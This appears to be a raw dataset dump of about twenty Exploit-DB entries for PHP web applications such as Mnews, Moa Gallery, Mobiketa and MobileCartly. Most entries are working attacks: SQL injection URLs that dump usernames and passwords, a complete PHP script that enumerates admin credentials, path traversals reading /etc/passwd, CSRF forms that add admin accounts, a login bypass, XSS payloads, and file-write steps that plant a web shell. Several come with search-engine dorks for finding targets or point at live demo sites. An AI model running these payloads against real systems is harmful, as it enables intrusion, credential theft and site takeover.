deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5919
Description: mm chat 1.5 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-23
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??               [ Local File Include ]            [XSS]                    ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : MM Chat 1.5            ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????


[LFI]

http://localhost/MMchat/chatconfig.php?currentlang=[LFI]

[XSS]

http://localhost/MMchat/chathead.php?sitename=[XSS]

http://localhost/MMchat/chathead.php?wmessage=[XSS]





??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-23]
Exploit-DB #12706
Description: MMA Creative Design - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-23
Author: XroGuE

Exploit:
=========================================================
MMA Creative Design SQL Injection Vulnerability
=========================================================
##########################################
# Name: MMA Creative Design SQL Injection Vulnerability
# Date: 2010-05-23
# vendor: www.mmacreative.com
# Author: Ashiyane Digital Security Team
# Discovered By: XroGuE
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: www.Ashiyane.org
##########################################

[+] Dork: intext:"Design by MMA Creative"

[+] Vulnerability: http://[site]/[path]/page.php?id=[SQLi]

[+] Demo: http://server/authors.php?id=-999+UNION+SELECT+1,2,group_concat(id,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11,12+from+users


##########################################
Exploit-DB #29177
Description: MMGallery 1.55 - 'Thumbs.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-24
Author: Al7ejaz Hacker

Exploit:
source: https://www.securityfocus.com/bid/21281/info

The mmgallery script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.55 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/thumbs.php?page='>
Exploit-DB #12134
Description: MMHAQ CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-10
Author: s1ayer

Exploit:
########################################################
MMHAQ CMS sqli vulnersbility
########################################################
 
[+]Title:   MMHAQ CMS sqli vulnersbility
[+]Version: only one version is released
[+]Download: http://www.mmhaq.net/index.php?page=pack_linux
[+]Author:  s1ayer
[+]Contact: s1ayer.icw@gmail.com    
########################################################
Description:
MMHAQ CMS fully functional Content Management System in PHP on top of MySQL.
Including articles, news, file management and all of the general functionalities of a CMS.
It is completely accessible and very easy to use on a daily basis.
########################################################

#[Exploit] :

[Bug] = index.php?id=SQL]

[SQL] = -1%20union%20all%20select%201,version(),3,4,5,6--

#[Demo] :

[+] http://127.0.0.1/index.php?id=-1%20union%20all%20select%201,version(),3,4,5,6--

Explanation:Version of the database can be seen at the title bar of the browser, this exploit can be further exploited to gain the user id and password of the admin.

 GREETZ: r45c4l,b0nd,sai,sm4rt,fb1,jappan, and all ICW and andhrhahackers members.
Exploit-DB #36573
Description: MMORPG Zone - 'view_news.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-18
Author: Lazmania61

Exploit:
source: https://www.securityfocus.com/bid/51532/info

MMORPG Zone is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/games/view_news.php?news_id=7â??a
Exploit-DB #4728
Description: Mms Gallery PHP 1.0 - 'id' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-12-13
Author: GoLd_M

Exploit:
MMS Gallery in PHP v1.0 (id) Remote File Disclosure Vulnerability
D.Script : http://www.mms2web.com/mms_gallery_php.zip
POC :
      /mms_template/get_image.php?id=../../../../../../../../etc/passwd
      /mms_template/get_file.php?id=../../../../../../../../etc/passwd

# milw0rm.com [2007-12-13]
Exploit-DB #4776
Description: MMSLamp - 'idpro' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-23
Author: x0kster

Exploit:
Name            :  mmsLamp SQL Injection Vulnerability.
Author          :  x0kster
Email           :  x0kster@gmail.com
Script Page     :  http://www.brand039.com/?service=prodotti_dettaglio&idpro=4
Date            :  22/12/2007
Bug in          :  default.php
PoC             :  http://site.com/default.php?service=prodotti_dettaglio&idpro=[SQL]

Example: 

http://www.brand039.com/default.php?service=prodotti_dettaglio&idpro=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(username,0x3a,password,0x3a,nome,0x3a,cognome,0x3a,azienda,0x3a,email),20,21,22+from+mms_extranet_utenti+where+id=1/*

# milw0rm.com [2007-12-23]
Exploit-DB #18983
Description: Mnews 1.1 - 'view.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-06-04
Author: WhiteCollarGroup

Exploit:
<?php
/*
# Exploit Title: Mnews <= 1.1 SQL Injection
# Google Dork: inurl:mnews/view.php
# Google Dork: intitle:"Mnews sistena de news"
# Date: 03rd 06 2012
# Software Link: http://phpbrasil.com/script/eo4aWVV_zFd/mnews-sistema-de-noticias
# Version: 1.1
# Tested on: Debian GNU/Linux,Windows 7 Ultimate

Example:
$ php mnews.php http://target.com/scripts/mnews/

*/

error_reporting(E_ERROR);
set_time_limit(0);
@ini_set("default_socket_timeout", 30);
 
function hex($string){
    $hex=''; // PHP 'Dim' =]
    for ($i=0; $i < strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return '0x'.$hex;
}


echo "\nMnews <= 1.1 SQL Injection exploit\n";
echo "Discovered and written by WhiteCollarGroup\n";
echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com\n\n";

if($argc!=2) {
	echo "Usage: \n";
	echo "php $argv[0] <target url>\n";
	echo "Example:\n";
	echo "php $argv[0] http://www.website.com/mnews\n";
	exit;
}

$target = $argv[1];
if(substr($target, (strlen($target)-1))!="/") {
	$target .= "/";
}
$inject = $target . "view.php?id=-0'%20";

$token = uniqid();
$token_hex = hex($token);

echo "[*] Trying to get informations...\n";
$infos = file_get_contents($inject.urlencode("union all select 1,concat(".$token_hex.", user(), ".$token_hex.", version(), ".$token_hex."),3,4,5-- "));
$infos_r = array();
preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
$user = $infos_r[1][0];
$version = $infos_r[2][0];
if($user) {
	echo "[*] MySQL version: $version\n";
	echo "[*] MySQL user: $user\n";
} else {
	echo "[-] Error while getting informations.\n";
}

echo "[*] Getting users...\n";
$i = 0;
while(true) {
	$dados_r = array();
	$dados = file_get_contents($inject.urlencode("union all select 1,concat(".$token_hex.", login, ".$token_hex.", senha, ".$token_hex."),3,4,5 from admin limit $i,1-- "));
	preg_match_all("/$token(.*)$token(.*)$token/", $dados, $dados_r);
	$login = $dados_r[1][0];
	$senha = $dados_r[2][0];
	if(($login) AND ($senha)) {
		echo "-+-\n";
		echo "User: $login\n";
		echo "Pass: $senha\n";
	} else {
		break;
	}
	$i++;
}

echo "-+-+-\n";
if($i!=0) {
	echo "[!] Admin login: {$target}gerencia/\n";
} else {
	echo "[-] Exploit failed. Make sure that's server is using a valid version of Mnews without Apache mod_security.\nWe're sorry.";
}
echo "\n";
Exploit-DB #9481
Description: Moa Gallery 1.1.0 - 'gallery_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-24
Author: Mr.tro0oqy

Exploit:
======================================================================
[Â»] Script : Moa gallery 1.1.0 (gallery_id) Remote Sql injection vuln

[Â»] Language : php  

[Â»] Download : http://sourceforge.net/projects/moagallery/

[Â»] Script site : http://www.moagallery.net/

[Â»] Founder: Mr.tro0oqy <- from Yemen

[Â»] Gr44tz to: [H]-> borken heart :(

[Â»] E-mail : t.4@windowslive.com
======================================================================
exploit:
--------

http://www.xxx.com/path/index.php?action=gallery_view&gallery_id=[PII_REDACTED]+union+select+concat(name,char(58),password)+from+moa_users--

--------
demo:
--------

http://www.moagallery.net/demo/index.php?action=gallery_view&gallery_id=[PII_REDACTED]+union+select+concat%28name,char%2858%29,password%29+from+moa_users--

# milw0rm.com [2009-08-24]
Exploit-DB #9523
Description: Moa Gallery 1.2.0 - 'index.php?action' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-26
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( index.php action )
##
## Moa Gallery 1.2.0
##
## www.moagallery.net
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT.CoM/index.php?action=gallery_view&gallery_id=-1/**/union/**/select/**/concat_ws(0x3a,name,password)/**/from/**/moa_users/*
##
########################
########################


#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$ken :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-08-26]
Exploit-DB #9525
Description: Moa Gallery 1.2.0 - 'p_filename' Remote File Disclosure
Type: webapps
Platform: php
Date: 2009-08-26
Author: GoLd_M

Exploit:
Moa Gallery <= 1.2.0 Remote File Disclosure Vulnerability
Code In sources\_template_parser.php


    $filename = $MOA_PATH."templates/".$template_name."/".$p_filename;

    $fp = @fopen($filename, "r");
    if ((!$fp) && (is_bool($fp)))
    {
      $fp = $fp = @fopen($MOA_PATH."templates/MoaDefault/".$p_filename, "r");

POC
/sources/_template_parser.php?p_filename=../../../../../../../../../../../../../../../etc/passwd

# milw0rm.com [2009-08-26]
Exploit-DB #39911
Description: Mobiketa 1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2016-06-10
Author: Murat Yilmazlar

Exploit:
<!--
# Exploit Title: Mobiketa - CSRF Add Admin Exploit
# Date: 09/06/2016
# Exploit Author: Murat YILMAZLAR
# Vendor Homepage: http://www.ynetinteractive.com/mobiketa/
# Version: 1.0

# Exploit:

< -- bug code started -- >
-->

<html>
  <body>
    <form action="[SITE]/[mobiketa_path]/index.php?url=user" method="POST"
enctype="multipart/form-data">
      <input type="hidden" name="is&#95;admin" value="1" />
      <input type="hidden" name="name" value="murat&#32;y" />
      <input type="hidden" name="email"
value="murrat&#64;protonmail&#46;com" />
      <input type="hidden" name="username" value="murrat" />
      <input type="hidden" name="password" value="123123123" />
      <input type="hidden" name="id" value="15" />
      <input type="hidden" name="update" value="&#13;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<!--
< -- end of the bug code -- >

#########################

[+] Contact: http://twitter.com/muratyilmazlarr
-->
Exploit-DB #41283
Description: Mobiketa 3.5 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Mobiketa - Complete Mobile Marketing v3.5 Script - SQL Injection
# Google Dork: N/A
# Date: 09.02.2017
# Vendor Homepage: http://ynetinteractive.com/
# Software Buy: https://codecanyon.net/item/mobiketa-complete-mobile-marketing-script-with-bulk-sms-voice-sms-2way-messaging-support/16494684
# Demo: http://demo.ynetinteractive.com/mobiketa/
# Version: 3.5
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as client User
# http://localhost/[PATH]/index.php?url=myCampaign&view=[SQL]
# http://localhost/[PATH]/index.php?url=newSMSCampaign&use=[SQL]
# Etc...
# # # # #
Exploit-DB #44716
Description: Mobile Card Selling Platform 1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-05-23
Author: L0RD

Exploit:
# Exploit Title:  Mcard - Mobile Card Selling Platform 1 - Cross-Site Request Forgery
# Date: 2018-05-23
# Exploit Author: L0RD
# Vendor Homepage: https://codecanyon.net/item/mcard-mobile-card-selling-platform/19307193?s_rank=15
# Version: 1
# Tested on: Kali linux

# POC :

<html>
<head>
   <title>CSRF POC</title>
</head>
<body>
    <form action="http://Target/card/profile" method="POST">
      <input type="hidden" name="fname" value="decode" />
      <input type="hidden" name="lname" value="test" />
      <input type="hidden" name="email" value="lord&#46;decode&#64;gmail&#46;com" />
    </form>
 <script>
   document.forms[0].submit();
 </script>
</body>
</html>
Exploit-DB #33999
Description: Mobile Chat 2.0.2 - 'chatsmileys.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-18
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40232/info

Mobile Chat is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mobile Chat 2.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/Mobile/main/chatsmileys.php/>"><script>alert[PII_REDACTED]60)</script>
Exploit-DB #36878
Description: Mobile Mp3 Search Script 2.0 - 'dl.php' HTTP Response Splitting
Type: webapps
Platform: php
Date: 2012-02-23
Author: Corrado Liotta

Exploit:
source: https://www.securityfocus.com/bid/52136/info

Mobile Mp3 Search Script is prone to an HTTP-response-splitting vulnerability because it fails to sufficiently sanitize user-supplied data.

Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

Mobile Mp3 Search Script 2.0 is vulnerable; other versions may also be affected 

http://www.example.com/dl.php?url=http://www.google.it
Exploit-DB #48916
Description: Mobile Shop System v1.0 - SQL Injection Authentication Bypass
Type: webapps
Platform: php
Date: 2020-10-20
Author: Moaaz Taha

Exploit:
# Title: Mobile Shop System v1.0 - SQLi lead to authentication bypass
# Exploit Author: Moaaz Taha (0xStorm)
# Date: 2020-09-08
# Vendor Homepage: https://www.sourcecodester.com/php/14412/mobile-shop-system-php-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14412&title=Mobile+Shop+System+in+PHP+MySQL
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4

# POC
1- Go to "http://TARGET/mobileshop-master/login.php" or "http://TARGET/mobileshop-master/LoginAsAdmin.php"
2- Inject this SQL payload (test' or 1=1 -- -) in email field and any password in password field.
3- Click on "login", then you will bypass the authentication successfully.

# Malicious HTTP POST Requests

POST /mobileshop-master/login.php HTTP/1.1
Host: 192.168.1.55:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.55:8888/mobileshop-master/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Upgrade-Insecure-Requests: 1

email=test%27+or+1%3D1+--+-&[CREDENTIAL_REDACTED]

==========================================================================

POST /mobileshop-master/LoginAsAdmin.php HTTP/1.1
Host: 192.168.1.55:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.55:8888/mobileshop-master/LoginAsAdmin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: PHPSESSID=d7c49f6634a208dca0624f2f6b1d27b6
Upgrade-Insecure-Requests: 1

email=test%27+or+1%3D1+--+-&[CREDENTIAL_REDACTED]
Exploit-DB #20398
Description: MobileCartly 1.0 - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2012-08-10
Author: GoLd_M

Exploit:
# Exploit Title: MobileCartly 1.0 <= Arbitrary Delete Vulnerability
# Date: 09/08/2012
# Author: GoLd_M
# Vendor or Software Link: http://mobilecartly.com/mobilecartly.zip
# Version: 1.0
# Category:: Arbitrary Delete Vulnerability
# Google dork: :(
# Tested on: Xp SP 2
# Ex : 	[MobileCartly 1.0]/includes/deletepage.php?deletepage=../[File]
# Code Page /includes/deletepage.php
# <?
#
# $page = "../pages/" . $_REQUEST['deletepage']; <<---XXX
#
# unlink($page); <<---XXX[Booooom]
#
#
# ?>
Exploit-DB #20539
Description: MobileCartly 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-08-15
Author: ICheer_No0M

Exploit:
# Exploit Title: MobileCartly 1.0 Remote File Upload Vulnerability
# Google Dork: -
# Date: 14/08/2012
# Exploit Author: ICheer_No0M
# Vendor Homepage: http://icheernoom.blogspot.com/
# Software Link: http://mobilecartly.com/mobilecartly.zip
# Version: 1.0
# Tested on: Ubuntu 10.10 + PHP 5.3.3
#
#
# 1. Vuln Code : /images/uploadprocess.php
#
#   /*$zip = new ZipArchive; 
#   $zip->open($_FILES['uploadedfile']['tmp_name']); 
#   $zip->extractTo('productimages/'); 
#   $zip->close(); */
#
#  You can upload shell.php on /images/upload.php 
#  Find your shell on /productimages/shell.php
#
#
# 2. Vuln Code : /includes/logo-upload-process.php
# /*if (($_FILES["logo-upload"]["type"] == "image/gif") 
# || ($_FILES["logo-upload"]["type"] == "image/jpeg") 
# || ($_FILES["logo-upload"]["type"] == "image/pjpeg")
# && ($_FILES["logo-upload"]["size"] < 20000))*/
#
# You can upload shell on /includes/upload-logo.php and edit header values.
# Find your shell on /images/logo/shell.php
#
#
Exploit-DB #20422
Description: MobileCartly 1.0 - Arbitrary File Write
Type: webapps
Platform: php
Date: 2012-08-10
Author: Yakir Wizman

Exploit:
# -----------------------------------------------------------
#			   _____ _ _            _      _ 
#			  / ____(_) |          | |    | |
#			 | |     _| |_ __ _  __| | ___| |
#			 | |    | | __/ _` |/ _` |/ _ \ |
#			 | |____| | || (_| | (_| |  __/ |
#			  \_____|_|\__\__,_|\__,_|\___|_|
#			  
# -----------------------------------------------------------
# MobileCartly 1.0 Arbitrary File Write Vulnerability
# Bug discovered by Yakir Wizman AKA Pr0T3cT10n, <yakir.wizman@gmail.com>
# Date 10/08/2012
# Download - http://mobilecartly.com/mobilecartly.zip
# ISRAEL
# -----------------------------------------------------------
#		Author will be not responsible for any damage.
# -----------------------------------------------------------
# I. DESCRIPTION
# -----------------------------------------------------------
# The application is prone to arbitrary file write / overwrite vulnerability.
#
# -----------------------------------------------------------
# II. PoC EXPLOIT
# -----------------------------------------------------------
# http://127.0.0.1/mobilecartly/includes/savepage.php?savepage=FILENAME&pagecontent=CODE
# FILENAME for example 'shell.php'
# CODE for example '<?php echo(shell_exec($_GET['cmd'])); ?>'
# Result example http://127.0.0.1/mobilecartly/pages/shell.php?cmd=dir
# -----------------------------------------------------------
Exploit-DB #52454
Description: MobileDetect 2.8.31 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-12-03
Author: CodeSecLab

Exploit:
# Exploit Title: MobileDetect 2.8.31 - Cross-Site Scripting (XSS)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/serbanghita/Mobile-Detect/
# Software Link: https://github.com/serbanghita/Mobile-Detect/
# Version: 4da80e5
# Tested on: Windows
# CVE : CVE-2018-25080

Proof Of Concept:
GET http://mobiledetect/examples/session_example.php/%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E

Steps to Reproduce
1. Login as an admin user.
2. Send the request.
3. Observe the result: